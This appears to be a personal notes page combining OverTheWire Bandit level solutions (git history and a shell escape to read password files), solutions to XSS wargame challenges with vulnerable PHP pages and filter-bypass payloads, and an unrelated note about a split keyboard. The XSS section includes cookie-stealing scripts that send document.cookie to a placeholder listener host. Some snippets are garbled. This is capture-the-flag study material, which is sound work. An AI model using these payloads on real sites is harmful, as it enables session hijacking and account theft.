| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|


This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

bandit29-git@localhost's password:
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (16/16), done.
Resolving deltas: 100% (2/2), done.

bandit29@bandit:/tmp/tmp.uymj8B2LpI/repo$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/dev
remotes/origin/master
remotes/origin/sploits-dev

bandit29@bandit:/tmp/tmp.uymj8B2LpI/repo$ git log -p origin/dev
commit a97d0dbf8fd910ead6fcf648829ff55c1a629c8e (origin/dev)
Author: Morla Porla <morla@overthewire.org>
Date: Thu Apr 10 14:23:21 2025 +0000

add data needed for development

diff --git a/README.md b/README.md
index 1af21d3..bc6ad3d 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for bandit30 of bandit.
## credentials

- username: bandit30
-- password: <no passwords in production!>
+- password: <credential-redacted>
...
[credential redacted]

level 30 → level 31

1
2
3
4
# same as above, but with bandit30-git
bandit30@bandit:/tmp/tmp.G0HYcVr8Od/repo$ git tag
secret
bandit30@bandit:/tmp/tmp.G0HYcVr8Od/repo$ git show secret
[credential redacted]

level 31 → level 32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# same login and clone as above

bandit31@bandit:/tmp/tmp.blHsxtiTrN/repo$ cat README.md
This time your task is to push a file to the remote repository.

Details:
File name: key.txt
Content: 'May I come in?'
Branch: master

# del the .gitignore file
bandit31@bandit:/tmp/tmp.blHsxtiTrN/repo$ vim .gitignore

# create the key.txt file and add the content
bandit31@bandit:/tmp/tmp.blHsxtiTrN/repo$ vim key.txt

bandit31@bandit:/tmp/tmp.blHsxtiTrN/repo$ git add .

bandit31@bandit:/tmp/tmp.blHsxtiTrN/repo$ git commit

bandit31@bandit:/tmp/tmp.blHsxtiTrN/repo$ git push
...
Writing objects: 100% (4/4), 326 bytes | 326.00 KiB/s, done.
Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: <credential-redacted>
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://localhost:2220/home/bandit31-git/repo
! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://localhost:2220/home/bandit31-git/repo'

[credential redacted]

level 32 → level 33

taken from https://mayadevbe.me/posts/overthewire/bandit/level33/

1
2
3
4
>> $0
$ /bin/bash

bandit33@bandit:~$ cat /etc/bandit_pass/bandit33
[credential redacted]

level 33 → level 34

1
2
3
4
5
6
7
8
9
bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!

At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.

If you have an idea for an awesome new level, please let us know!

xss challenges by int21h

stage 1

1
2
3
4
<form action="?sid=3b4530debfc45d8e44d05547567e54ccb348e190" method="post">
Search: <input type="text" name="p1" size="60" value="" />
<input type="submit" value="Search" />
</form>
<script>alert(document.domain);</script>

stage 2

1
2
3
4
5
6
<form action="?sid=454ea068a1791c26fe09f235c31fdaf523b7ecfd" method="post">
<hr class="red" />
Search: <input type="text" name="p1" size="60" value="" />
<input type="submit" value="Search" />
<hr class="red" />
</form>
><script>alert(document.domain)</script> %} ### stage 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<b>Hint:</b> <span id="hide">The input in text box is properly escaped.</span>
<input type="hidden" name="key" value="tubhf%605/qiq" />
<form action="?sid=0a6d663df55034885f64633e535afb4c5a1a1b30" method="post">
Search a place: <input type="text" name="p1" size="30" />
<input type="submit" value="Search" /> &nbsp; Choose a country:
<select name="p2">
<!-- <option>Japan</option> -->
<option>Japan</option>
//
<option>
<script>
alert(1);
</script>
</option>
<option>Germany</option>
<option>USA</option>
<option>United Kingdom</option>
</select>
</form>
<span id="msg" style="display:none"></span>
<p></p>
<hr />
### stage 4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<form action="?sid=f259051837d00c498286decbebd9332a93941de0" method="post">
Search a place: <input type="text" name="p1" size="30" />
<input type="submit" value="Search" /> &nbsp; Choose a country:
<select name="p2">
<option>Japan</option>
<option>Germany</option>
<option>USA</option>
<option>United Kingdom</option>
</select>
<input type="hidden" name="p3" value="hackme" />
</form>
html
<input type="show" name="p3" value="" />
<script>
alert(document.domain);
</script>
">
### stage 5
1
2
3
<hr class="red" />
Search: <input type="text" name="p1" maxlength="15" size="30" value="" /> //
<input type="text" name="p1" size="30" value="" maxlength="50" />
### stage 6 ??? {% spoiler onmouseover=alert(document.domain) %} ### stage 7 ??? {% spoiler arst onmouseover=alert(document.domain)

stage 8

JavaScript Pseudo-protocol(JavaScript 伪协议)

1
2
3
4
5
6
7
8
9
10
<form action="?sid=19ed8385d5064a30fee35d44597cc90d2103e5b9" method="post">
Input a URL: <input type="text" name="p1" size="50" />
<input type="submit" value="Make a Link" />
<hr class="red" />
URL:
<a href='"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;'
>"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;</a
>
<hr class="red" />
</form>
javascript:alert(document.domain)

stage 9

???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<form action="?sid=7e2329d79d97959657ca5b762ed3314b0fbe5f00" method="post">
<hr class="red" />
No results for your Query. Try again:
<!------------------------------------------------>
<input
type="text"
name="p1"
size="50"
value='"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;'
/>
<input name="charset" value="euc-jp" type="text" />
<!------------------------------------------------>

<input type="submit" value="Search" />
<hr class="red" />
</form>

stage 10

1
2
3
4
5
6
7
8
9
10
11
<form action="?sid=3dbc35c98d4e77299ef69405ec1bd1ae7f6fdc56" method="post">
<hr class="red" />
No results for your Query. Try again:
<input type="text" name="p1" size="50" value="" />
<script>
alert(document.)
</script>
"&gt;
<input type="submit" value="Search" />
<hr class="red" />
</form>
onmouseover=alert(document.domdomainain)

stage 11-

??

XSS Challenge by y0n3uchy

Baby XSS 01

Reflected XSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script src="hook.js"></script>
<?php echo $_GET["payload"]; ?>

<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here" />
<input type="submit" value="GO" />
</form>

<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
html
<script>
new Image().src =
"http://YOUR_LISTENING_SERVER_IP:PORT/?cookie=" +
encodeURIComponent(document.cookie);
</script>

<script>
fetch("http://YOUR_LISTENING_SERVER_IP:PORT/?cookie=" + document.cookie);
</script>
<script>alert(XSS)</script>

Baby XSS 02

DOM-based XSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script src="hook.js"></script>
<script>
window.addEventListener("load", function () {
var q = location.hash.substring(1);
window.query.innerHTML = q == "" ? `Hello!` : `Hello, ${decodeURI(q)}`;
});
</script>

<p id="query"></p>

<h1>inject</h1>
<p>Inspect the source code carefully and find where to inject :-)</p>

<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?> ``
html
url#<img src="x" onerror="alert(document.cookie)" />
<img src=x onerror=alert('XSS')/>

Baby XSS 03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script src="hook.js"></script>
<?php $escaped = htmlspecialchars($_GET['payload']); ?>

<h1>Hello, <?= $escaped ?></h1>
<a href="<?= $escaped ?>/friends">Friends</a>
<a href="<?= $escaped ?>/post">Posts</a>
<a href="<?= $escaped ?>/settings">Settings</a>

<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here" />
<input type="submit" value="GO" />
</form>

<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
javascript:alert(XSS)

Baby XSS 04

1
??? ${alert('XSS')}

No Alphabets and Digits

???

JSFuck

No Parentheses

ES6 标签模板 (Tagged Templates)

1
alert`1`;

same as alert(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
script src="hook.js"></script>
<?php
// you cannot do anything without ...

// no parentheses ...
$escaped = preg_replace("/[()]/", "", $_GET['payload']);

// no event handlers!
$escaped = preg_replace("/.*o.*n.*/i", "", $escaped);
?>

<h1>Hello, <?= $escaped ?>!</h1>


<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>

<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
<script>alert`XSS`</script>

No Quotes

String.fromCharCode() convert a ASCII to a character.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script src="hook.js"></script>
<?php
// by escaping the payload you won't break this system, haha! :-)
$escaped = preg_replace("/['\"`&#]/", "", $_GET['payload']);
?>

<h1>Hello, <?= $escaped ?>!</h1>

<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>

<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
<script>alert(String.fromCharCode(88,83,83))</script>

No Parentheses Again

URL 解析机制 + javascript: 伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script src="hook.js"></script>
<?php
$escaped = preg_replace("/[`()<>&#]/", "", $_GET['payload']);
?>

<h1>Hello, <span id="<?= $escaped ?>"><?= htmlspecialchars($_GET['payload']) ?></span>!</h1>

<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>

<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
onmouseover=location=javascript:alert%28%22XSS%22%29

Replacement

???

1
<scr<script>ipt>alert(1)</script>

Reining the Web by Whitelisting

JSONP (JSON with Padding)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php header("Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'"); ?>
<script src="hook.js"></script>

<script src="csp01-util.js"></script>
<script src="csp01-jsonp.php?callback=callback"></script>

<h1>Hello, <?= $_GET['payload'] ?>!</h1>

<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here" />
<input type="submit" value="GO" />
</form>

<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
<script src=csp01-jsonp.php?callback=alert('XSS');//></script>

The Corne keyboard is a split keyboard.

It's hard to get started but it feels good once you get used to it.

Speed after more than a month of use.

My four layers layout

traditional qwerty

number, function, and arrow keys

symbol and media keys

Keyboard light and mouse keys. The mouse keys can't do some accurate aim, so I still need a mouse on the table.

link

keyboard: https://github.com/foostan/crkbd

typing test: https://www.keybr.com/